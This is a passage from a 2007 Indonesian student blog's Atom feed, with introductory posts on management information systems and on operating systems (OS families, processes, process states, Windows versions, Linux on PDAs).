rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=2212320549030064859' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2212320549030064859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2212320549030064859'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/manajemen-sistem-informasi-bagian-2.html' title='Manajemen Sistem Informasi ( Bagian 2 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/R2dKPsle59I/AAAAAAAAAGA/AghDLXSMKGk/s72-c/pda5.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-5444407188922368738</id><published>2007-12-17T19:58:00.000-08:00</published><updated>2007-12-17T20:14:14.569-08:00</updated><title type='text'>Manajemen Sistem Informasi ( Bagian 1 )</title><content type='html'>&lt;a title="Permanent Link to Sistem Informasi Manajemen" href="http://snytx.blogspot.com/2007/12/sistem-informasi-manajemen.html" rel="bookmark"&gt;&lt;span style=";font-family:verdana;font-size:180%;"  &gt;&lt;strong&gt;Sistem Informasi Manajemen&lt;/strong&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_eTjLkcqj9WM/R2dHR8le58I/AAAAAAAAAF4/BSXa_9cXveY/s1600-h/images-1.jpeg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5145159472940771266" style="margin: 0px 10px 10px 0px; float: left;" alt="" src="http://3.bp.blogspot.com/_eTjLkcqj9WM/R2dHR8le58I/AAAAAAAAAF4/BSXa_9cXveY/s320/images-1.jpeg" border="0" /&gt;&lt;/a&gt;DARI WIKIPEDIASistem Informasi Manajemen merupakan &lt;a title="Sistem informasi" href="http://id.wikipedia.org/wiki/Sistem_informasi"&gt;sistem informasi&lt;/a&gt; yang menghasilkan hasil keluaran (output) dengan menggunakan masukan (input) dan berbagai proses yang diperlukan untuk memenuhi tujuan tertentu dalam suatu kegiatan &lt;a title="Manajemen" href="http://id.wikipedia.org/wiki/Manajemen"&gt;manajemen&lt;/a&gt;.&lt;br /&gt;Tujuan Umum&lt;br /&gt;Menyediakan informasi yang dipergunakan di dalam perhitungan harga pokok jasa, produk, dan tujuan lain yang diinginkan manajemen.&lt;br /&gt;Menyediakan informasi yang dipergunakan dalam perencanaan, pengendalian, pengevaluasian, dan perbaikan berkelanjutan.&lt;br /&gt;Menyediakan informasi untuk pengambilan keputusan.&lt;br /&gt;Ketiga tujuan tersebut menunjukkan bahwa &lt;a title="Manajer" href="http://id.wikipedia.org/wiki/Manajer"&gt;manajer&lt;/a&gt; dan pengguna lainnya perlu memiliki akses ke informasi &lt;a title="Akuntansi" href="http://id.wikipedia.org/wiki/Akuntansi"&gt;akuntansi&lt;/a&gt; manajemen dan mengetahui bagaimana cara menggunakannya. Informasi akuntansi manajemen dapat membantu mereka mengidentifikasi suatu masalah, menyelesaikan masalah, dan mengevaluasi kinerja (informasi akuntansi dibutuhkan dam dipergunakan dalam semua tahap manajemen, termasuk perencanaan, pengendalian dan pengambilan keputusan).&lt;br /&gt;—————————————————&lt;br /&gt;Proses Manajemen&lt;br /&gt;Proses manajemen didefinisikan sebagai aktivitas-aktivitas:&lt;br /&gt;Perencanaan, formulasi terinci untuk mencapai suatu tujuan akhir tertentu adalah aktivitas manajemen yang disebut perencanaan. Oleh karenanya, perencanaan mensyaratkan penetapan tujuan dan &lt;a class="new" title="Identifikasi" href="http://id.wikipedia.org/w/index.php?title=Identifikasi&amp;amp;action=edit"&gt;identifikasi&lt;/a&gt; metode untuk mencapai tujuan tersebut.&lt;br /&gt;Pengendalian, perencanaan hanyalah setengah dari peretempuran. Setelah suatu rencana dibuat, rencana tersebut harus diimplementasikan, dan manajer serta pekerja harus memonitor pelaksanaannya untuk memastikan rencana tersebut berjalan sebagaimana mestinya. &lt;a class="new" title="Aktivitas" href="http://id.wikipedia.org/w/index.php?title=Aktivitas&amp;amp;action=edit"&gt;Aktivitas&lt;/a&gt; manajerial untuk memonitor pelaksanaan rencana dan melakukan tindakan &lt;a class="new" title="Korektif" href="http://id.wikipedia.org/w/index.php?title=Korektif&amp;amp;action=edit"&gt;korektif&lt;/a&gt; sesuai kebutuhan, disebut kebutuhan.&lt;br /&gt;Pengambilan Keputusan, proses pemilihan diantara berbagai &lt;a class="new" title="Alternative" href="http://id.wikipedia.org/w/index.php?title=Alternative&amp;amp;action=edit"&gt;alternative&lt;/a&gt; disebut dengan proses pengambilan keputusan. Fungsi manajerial ini merupakan jalinan antara perencanaan dan pengendalian. Manajer harus memilih diantara beberapa tujuan dan metode untuk melaksanakan tujuan yang dipilih. Hanya satu dari beberapa rencana yang dapat dipilih. Komentar serupa dapat dibuat berkenaan dengan fungsi pengendalian.&lt;br /&gt;—————————————————&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-5444407188922368738?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/5444407188922368738/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=5444407188922368738' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/5444407188922368738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/5444407188922368738'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/sistem-informasi-manajemen-dari.html' title='Manajemen Sistem Informasi ( Bagian 1 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eTjLkcqj9WM/R2dHR8le58I/AAAAAAAAAF4/BSXa_9cXveY/s72-c/images-1.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-503319624807351661</id><published>2007-12-17T17:40:00.001-08:00</published><updated>2007-12-17T17:58:00.225-08:00</updated><title type='text'>Sistem Operasi ( Bagian 5 )</title><content type='html'>&lt;h2 style="text-align: justify; color: rgb(0, 0, 153); font-family: georgia;"&gt;&lt;span class="mw-headline"&gt;Sistem Operasi saat ini&lt;/span&gt;&lt;/h2&gt;&lt;br /&gt;&lt;img alt="http://ysutarso.files.wordpress.com/2007/04/vmis1.jpg" src="http://ysutarso.files.wordpress.com/2007/04/vmis1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: left; font-family: verdana;"&gt;Sistem operasi-sistem operasi utama yang digunakan komputer sistem umum (termasuk PC, komputer personal) terbagi menjadi 3 kelompok besar:&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;ol style="text-align: justify; font-family: verdana;"&gt;&lt;li&gt;Keluarga &lt;a href="http://id.wikipedia.org/wiki/Microsoft_Windows" title="Microsoft Windows"&gt;Microsoft Windows&lt;/a&gt; - yang antara lain terdiri dari Windows Desktop Environment (versi 1.x hingga versi 3.x), Windows 9x (Windows 95, 98, dan Windows ME), dan Windows NT (Windows NT 3.x, Windows NT 4.0, Windows 2000, Windows XP, Windows Server 2003, dan Windows Vista yang akan dirilis pada tahun 2007)).&lt;/li&gt;&lt;li&gt;Keluarga &lt;a href="http://id.wikipedia.org/wiki/Unix" title="Unix"&gt;Unix&lt;/a&gt; yang menggunakan antarmuka sistem operasi POSIX, seperti SCO UNIX, keluarga BSD (&lt;i&gt;Berkeley Software Distribution&lt;/i&gt;), GNU/Linux, MacOS/X (berbasis kernel BSD yang dimodifikasi, dan dikenal dengan nama &lt;i&gt;Darwin&lt;/i&gt;) dan GNU/Hurd.&lt;/li&gt;&lt;li&gt;Mac OS, adalah sistem operasi untuk komputer keluaran &lt;a href="http://id.wikipedia.org/wiki/Apple" title="Apple"&gt;Apple&lt;/a&gt; yang biasa disebut &lt;i&gt;Mac&lt;/i&gt; atau &lt;i&gt;Macintosh&lt;/i&gt;. Sistem operasi yang terbaru adalah &lt;a href="http://id.wikipedia.org/wiki/Mac_OS_X" title="Mac OS X"&gt;Mac OS X&lt;/a&gt; versi 10.4 (&lt;i&gt;Tiger&lt;/i&gt;). Awal tahun 2007 direncanakan peluncuran versi 10.5 (&lt;i&gt;Leopard&lt;/i&gt;).&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Sedangkan komputer &lt;a href="http://id.wikipedia.org/wiki/Mainframe" title="Mainframe"&gt;Mainframe&lt;/a&gt;, dan &lt;a href="http://id.wikipedia.org/w/index.php?title=Super_komputer&amp;amp;action=edit" class="new" title="Super komputer"&gt;Super komputer&lt;/a&gt; menggunakan banyak sekali sistem operasi yang berbeda-beda, umumnya merupakan turunan dari sistem operasi UNIX yang dikembangkan oleh vendor seperti IBM AIX, HP/UX, dll.&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2 style="text-align: justify; font-family: verdana;"&gt;&lt;span class="mw-headline"&gt;Proses&lt;/span&gt;&lt;/h2&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Prosesor mengeksekusi program-program komputer. Prosesor adalah sebuah chip dalam sistem komputer yang menjalankan instruksi-instruksi program komputer. Dalam setiap detiknya prosesor dapat menjalankan jutaan instruksi.&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Program adalah sederetan instruksi yang diberikan kepada suatu komputer. Sedangkan &lt;i&gt;proses&lt;/i&gt; adalah suatu bagian dari program yang berada pada status tertentu dalam rangkaian eksekusinya. Di dalam bahasan Sistem Operasi, kita lebih sering membahas &lt;i&gt;proses&lt;/i&gt; dibandingkan dengan program. Pada Sistem Operasi modern, pada satu saat tidak seluruh program dimuat dalam memori, tetapi hanya satu bagian saja dari program tersebut. Sedangkan bagian lain dari program tersebut tetap beristirahat di media penyimpan disk. Hanya pada saat dibutuhkan saja, bagian dari program tersebut dimuat di memory dan dieksekusi oleh prosesor. Hal ini sangat menghemat pemakaian memori.&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Beberapa sistem hanya menjalankan satu proses tunggal dalam satu waktu, sedangkan yang lainnya menjalankan multi-proses dalam satu waktu. Padahal sebagian besar sistem komputer hanya memiliki satu prosesor, dan sebuah prosesor hanya dapat menjalankan satu instruksi dalam satu waktu. Maka bagaimana sebuah sistem prosesor tunggal dapat menjalankan multi-proses? Sesungguhnya pada granularity yang sangat kecil, prosesor hanya menjalankan satu proses dalam satu waktu, kemudian secara cepat ia berpindah menjalankan proses lainnya, dan seterusnya. Sehingga bagi penglihatan dan perasaan pengguna manusia, seakan-akan prosesor menjalankan beberapa proses secara bersamaan.&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Setiap proses dalam sebuah sistem operasi mendapatkan sebuah PCB (&lt;i&gt;Process Control Block&lt;/i&gt;) yang memuat informasi tentang proses tersebut, yaitu: sebuah tanda pengenal proses (Process ID) yang unik dan menjadi nomor identitas, status proses, prioritas eksekusi proses dan informasi lokasi proses dalam memori. Prioritas proses merupakan suatu nilai atau besaran yang menunjukkan seberapa sering proses harus dijalankan oleh prosesor. Proses yang memiliki prioritas lebih tinggi, akan dijalankan lebih sering atau dieksekusi lebih dulu dibandingkan dengan proses yang berprioritas lebih rendah. Suatu sistem operasi dapat saja menentukan semua proses dengan prioritas yang sama, sehingga setiap proses memiliki kesempatan yang sama. Suatu sistem operasi dapat juga merubah nilai prioritas proses tertentu, agar proses tersebut akan dapat memiliki kesempatan lebih besar pada eksekusi berikutnya (misalnya: pada proses yang sudah sangat terlalu lama menunggu eksekusi, sistem operasi menaikkan nilai prioritasnya).&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3 style="text-align: justify; font-family: verdana;"&gt;&lt;span class="mw-headline"&gt;Status Proses&lt;/span&gt;&lt;/h3&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Jenis status yang mungkin dapat disematkan pada suatu proses pada setiap sistem operasi dapat berbeda-beda. Tetapi paling tidak ada 3 macam status yang umum, yaitu:&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;ol style="text-align: justify; font-family: verdana;"&gt;&lt;li&gt;&lt;b&gt;Ready&lt;/b&gt;, yaitu status dimana proses siap untuk dieksekusi pada giliran berikutnya&lt;/li&gt;&lt;li&gt;&lt;b&gt;Running&lt;/b&gt;, yaitu status dimana saat ini proses sedang dieksekusi oleh prosesor&lt;/li&gt;&lt;li&gt;&lt;b&gt;Blocked&lt;/b&gt;, yaitu status dimana proses tidak dapat dijalankan pada saat prosesor siap/bebas&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-503319624807351661?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/503319624807351661/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=503319624807351661' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/503319624807351661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/503319624807351661'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/sistem-operasi-bagian-5_17.html' title='Sistem Operasi ( Bagian 5 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-8419916991203571656</id><published>2007-12-17T17:40:00.000-08:00</published><updated>2007-12-17T17:57:49.237-08:00</updated><title type='text'>Sistem Operasi ( Bagian 5 )</title><content type='html'>&lt;h2 style="text-align: justify; color: rgb(0, 0, 153); font-family: georgia;"&gt;&lt;span class="mw-headline"&gt;Sistem Operasi saat ini&lt;/span&gt;&lt;/h2&gt;&lt;br /&gt;&lt;img alt="http://ysutarso.files.wordpress.com/2007/04/vmis1.jpg" src="http://ysutarso.files.wordpress.com/2007/04/vmis1.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="text-align: left; font-family: verdana;"&gt;Sistem operasi-sistem operasi utama yang digunakan komputer sistem umum (termasuk PC, komputer personal) terbagi menjadi 3 kelompok besar:&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;ol style="text-align: justify; font-family: verdana;"&gt;&lt;li&gt;Keluarga &lt;a href="http://id.wikipedia.org/wiki/Microsoft_Windows" title="Microsoft Windows"&gt;Microsoft Windows&lt;/a&gt; - yang antara lain terdiri dari Windows Desktop Environment (versi 1.x hingga versi 3.x), Windows 9x (Windows 95, 98, dan Windows ME), dan Windows NT (Windows NT 3.x, Windows NT 4.0, Windows 2000, Windows XP, Windows Server 2003, dan Windows Vista yang akan dirilis pada tahun 2007)).&lt;/li&gt;&lt;li&gt;Keluarga &lt;a href="http://id.wikipedia.org/wiki/Unix" title="Unix"&gt;Unix&lt;/a&gt; yang menggunakan antarmuka sistem operasi POSIX, seperti SCO UNIX, keluarga BSD (&lt;i&gt;Berkeley Software Distribution&lt;/i&gt;), GNU/Linux, MacOS/X (berbasis kernel BSD yang dimodifikasi, dan dikenal dengan nama &lt;i&gt;Darwin&lt;/i&gt;) dan GNU/Hurd.&lt;/li&gt;&lt;li&gt;Mac OS, adalah sistem operasi untuk komputer keluaran &lt;a href="http://id.wikipedia.org/wiki/Apple" title="Apple"&gt;Apple&lt;/a&gt; yang biasa disebut &lt;i&gt;Mac&lt;/i&gt; atau &lt;i&gt;Macintosh&lt;/i&gt;. Sistem operasi yang terbaru adalah &lt;a href="http://id.wikipedia.org/wiki/Mac_OS_X" title="Mac OS X"&gt;Mac OS X&lt;/a&gt; versi 10.4 (&lt;i&gt;Tiger&lt;/i&gt;). Awal tahun 2007 direncanakan peluncuran versi 10.5 (&lt;i&gt;Leopard&lt;/i&gt;).&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Sedangkan komputer &lt;a href="http://id.wikipedia.org/wiki/Mainframe" title="Mainframe"&gt;Mainframe&lt;/a&gt;, dan &lt;a href="http://id.wikipedia.org/w/index.php?title=Super_komputer&amp;amp;action=edit" class="new" title="Super komputer"&gt;Super komputer&lt;/a&gt; menggunakan banyak sekali sistem operasi yang berbeda-beda, umumnya merupakan turunan dari sistem operasi UNIX yang dikembangkan oleh vendor seperti IBM AIX, HP/UX, dll.&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;h2 style="text-align: justify; font-family: verdana;"&gt;&lt;span class="mw-headline"&gt;Proses&lt;/span&gt;&lt;/h2&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Prosesor mengeksekusi program-program komputer. Prosesor adalah sebuah chip dalam sistem komputer yang menjalankan instruksi-instruksi program komputer. Dalam setiap detiknya prosesor dapat menjalankan jutaan instruksi.&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Program adalah sederetan instruksi yang diberikan kepada suatu komputer. Sedangkan &lt;i&gt;proses&lt;/i&gt; adalah suatu bagian dari program yang berada pada status tertentu dalam rangkaian eksekusinya. Di dalam bahasan Sistem Operasi, kita lebih sering membahas &lt;i&gt;proses&lt;/i&gt; dibandingkan dengan program. Pada Sistem Operasi modern, pada satu saat tidak seluruh program dimuat dalam memori, tetapi hanya satu bagian saja dari program tersebut. Sedangkan bagian lain dari program tersebut tetap beristirahat di media penyimpan disk. Hanya pada saat dibutuhkan saja, bagian dari program tersebut dimuat di memory dan dieksekusi oleh prosesor. Hal ini sangat menghemat pemakaian memori.&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Beberapa sistem hanya menjalankan satu proses tunggal dalam satu waktu, sedangkan yang lainnya menjalankan multi-proses dalam satu waktu. Padahal sebagian besar sistem komputer hanya memiliki satu prosesor, dan sebuah prosesor hanya dapat menjalankan satu instruksi dalam satu waktu. Maka bagaimana sebuah sistem prosesor tunggal dapat menjalankan multi-proses? Sesungguhnya pada granularity yang sangat kecil, prosesor hanya menjalankan satu proses dalam satu waktu, kemudian secara cepat ia berpindah menjalankan proses lainnya, dan seterusnya. Sehingga bagi penglihatan dan perasaan pengguna manusia, seakan-akan prosesor menjalankan beberapa proses secara bersamaan.&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Setiap proses dalam sebuah sistem operasi mendapatkan sebuah PCB (&lt;i&gt;Process Control Block&lt;/i&gt;) yang memuat informasi tentang proses tersebut, yaitu: sebuah tanda pengenal proses (Process ID) yang unik dan menjadi nomor identitas, status proses, prioritas eksekusi proses dan informasi lokasi proses dalam memori. Prioritas proses merupakan suatu nilai atau besaran yang menunjukkan seberapa sering proses harus dijalankan oleh prosesor. Proses yang memiliki prioritas lebih tinggi, akan dijalankan lebih sering atau dieksekusi lebih dulu dibandingkan dengan proses yang berprioritas lebih rendah. Suatu sistem operasi dapat saja menentukan semua proses dengan prioritas yang sama, sehingga setiap proses memiliki kesempatan yang sama. Suatu sistem operasi dapat juga merubah nilai prioritas proses tertentu, agar proses tersebut akan dapat memiliki kesempatan lebih besar pada eksekusi berikutnya (misalnya: pada proses yang sudah sangat terlalu lama menunggu eksekusi, sistem operasi menaikkan nilai prioritasnya).&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;h3 style="text-align: justify; font-family: verdana;"&gt;&lt;span class="mw-headline"&gt;Status Proses&lt;/span&gt;&lt;/h3&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;p style="text-align: justify; font-family: verdana;"&gt;Jenis status yang mungkin dapat disematkan pada suatu proses pada setiap sistem operasi dapat berbeda-beda. Tetapi paling tidak ada 3 macam status yang umum, yaitu:&lt;/p&gt;&lt;div style="text-align: justify; font-family: verdana;"&gt; &lt;/div&gt;&lt;ol style="text-align: justify; font-family: verdana;"&gt;&lt;li&gt;&lt;b&gt;Ready&lt;/b&gt;, yaitu status dimana proses siap untuk dieksekusi pada giliran berikutnya&lt;/li&gt;&lt;li&gt;&lt;b&gt;Running&lt;/b&gt;, yaitu status dimana saat ini proses sedang dieksekusi oleh prosesor&lt;/li&gt;&lt;li&gt;&lt;b&gt;Blocked&lt;/b&gt;, yaitu status dimana proses tidak dapat dijalankan pada saat prosesor siap/bebas&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-8419916991203571656?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/8419916991203571656/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=8419916991203571656' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8419916991203571656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8419916991203571656'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/sistem-operasi-bagian-5.html' title='Sistem Operasi ( Bagian 5 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-2078262160218566971</id><published>2007-12-17T17:37:00.000-08:00</published><updated>2007-12-17T17:39:49.912-08:00</updated><title type='text'>SISTEM OPERSI ( Bagian 4 )</title><content type='html'>&lt;h2&gt;&lt;a href="http://ganez.wordpress.com/2007/12/13/what-is-operating-system/" rel="bookmark" title="What is Operating System..???"&gt;What is Operating System..???&lt;/a&gt;&lt;/h2&gt;   &lt;div class="snap_preview"&gt;&lt;p class="entry-content"&gt; &lt;/p&gt;&lt;p class="entry-body"&gt; &lt;/p&gt;&lt;p class="snap_preview"&gt;Mengenal Sistem Operasi Windows!!!&lt;/p&gt; &lt;p&gt;What is Operating System..???&lt;/p&gt; &lt;p&gt;Untuk menjalankan program-program dan aplikasi yang terdapat di komputer diperlukan satu sistem operasi. Apa sih sebetulnya sistem operasi itu ? Sistem operasi adalah sebuah sistem yang diperlukan untuk dapat menjalankan semua aplikasi program / software yang ada di komputer kamu, misalnya MS-OFFICE, Mungkin kamu sudah sering mendengar Sistem operasi yang ada saat ini. Coba sebutkan salah satunya ! Benar, ada yang namanya Sistem operasi Windows, UNIX/LINUX, DOS, OS/2. Tapi kali ini kita akan membahas satu sistem operasi saja yaitu sistem operasi Windows.&lt;/p&gt; &lt;p&gt;Macam-macam Sistem Operasi Windows&lt;/p&gt; &lt;p&gt;Sistem Operasi “Windows” dibuat oleh perusahaan Microsoft yang terletak di Amerika dan dipimpin oleh Bill Gates. Mengapa Sistem Operasinya dinamakan “Windows” ?. Mungkin karena yang pertama tampil di layar monitor ketika komputer dihidupkan adalah gambar seperti jendela-jendela kecil. Nah, sistem operasi windows ini mengalami beberapa perubahan-perubahan dan perbaikan. Dulu, akhir tahun 1980 (Awal tahun 1990 - 1994) terkenal sistem operasi Windows 3.0, Windows 3.1.1 dikenal dengan generasi Windows 3.X, kemudian mengalami perubahan-perubahan menjadi Windows 95 setelah itu Windows 98 (Windows 9.X), berubah lagi menjadi Windows 2000 dan saat ini Windows ME (Millenium Edition / Edisi Millenium) sedang banyak digunakan.&lt;/p&gt; &lt;p&gt;Windows ini merupakan seri up-grade (peningkatan kualitas) dari Windows 98. Dalam Windows ME telah dimasukkan software untuk memainkan musik digital dan video, pengaturan untuk jaringan di rumah serta kemudahan memperbaiki dari adanya kemungkinan kerusakan sistem. Selain itu ada juga yang namanya “Windows NT”, yaitu Sistem operasi yang dikhususkan untuk jaringan lokal.&lt;/p&gt; &lt;p&gt;Sekarang  Microsoft telah memperkenalkan dan meluncurkan produk MS Windows dan Office yang terbaru. Produk itu disebut Windows Vista dan Office 2007. XP kepanjangannya “experience”. efek dan tampilan di windows Vista sangat bagus anda pasti ingin memilikinya kan……?Apalagi dengan Office 2007, mungkin ketika melihat tampilannya anda akan bingung namun ketika anda tahu begitu ringkasnya maka anda akan berpendapat lain.Dengan kemudahan yang didapat dan so fleksibel mungkin. Ayo buruan upgrade Office kamu biar gak ketinggalan jaman.Key………………!&lt;/p&gt; &lt;p style="text-align: left;"&gt;&lt;a href="http://jauari88.files.wordpress.com/2007/11/images22.jpeg" title="Viswta"&gt;&lt;img src="http://jauari88.files.wordpress.com/2007/11/images22.thumbnail.jpeg" alt="Viswta" /&gt;&lt;/a&gt; &lt;a href="http://jauari88.files.wordpress.com/2007/11/2.jpeg" title="OFFICE"&gt;&lt;img src="http://jauari88.files.wordpress.com/2007/11/2.thumbnail.jpeg" alt="OFFICE" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-2078262160218566971?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/2078262160218566971/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=2078262160218566971' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2078262160218566971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/2078262160218566971'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/sistem-opersi-bagian-4.html' title='SISTEM OPERSI ( Bagian 4 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-3962234974675678020</id><published>2007-12-17T17:35:00.000-08:00</published><updated>2007-12-17T17:36:37.879-08:00</updated><title type='text'>SISTEM OPERASI ( Bagian 3 )</title><content type='html'>&lt;h2&gt;&lt;a href="http://ganez.wordpress.com/2007/12/13/ini-dia-sistem-operasi-linux-di-pda/" rel="bookmark" title="Ini dia !!! Sistem Operasi Linux di PDA"&gt;Ini dia !!! Sistem Operasi Linux di PDA&lt;/a&gt;&lt;/h2&gt;   &lt;div class="snap_preview"&gt;&lt;p&gt;Perjalanan panjang mengembangkan Linux sebagai salah satu Sistem Operasi PDA, dan akhirnya hampir rampung walau belum tentu &lt;em&gt;perfect&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;OS Linux di PDA ini dikembangkan oleh access-company yang pernah membeli kode sumber PalmOS.&lt;/p&gt; &lt;p&gt;Sentuhan dan besutan pada Linux ini mengambil sedikit penggabungan anatara PalmOS dan Linux. Dapat terlihat dari ciri-ciri menunya yang mirip dengan launcher/menu PalmOS.&lt;/p&gt; &lt;p&gt;Ya memang benar OS Linux ini adalah pengembangan lebih lanjut dari PalmOS yang telah kalah pamor dengan OS PDA-nya om Bill Gate yang bernama Windows PocketPC.&lt;/p&gt; &lt;p&gt;PDA Linux itu didesain agar lebih &lt;em&gt;user friendly&lt;/em&gt; dan &lt;em&gt;simple&lt;/em&gt; sebagai ciri khasnya PalmOS. OS 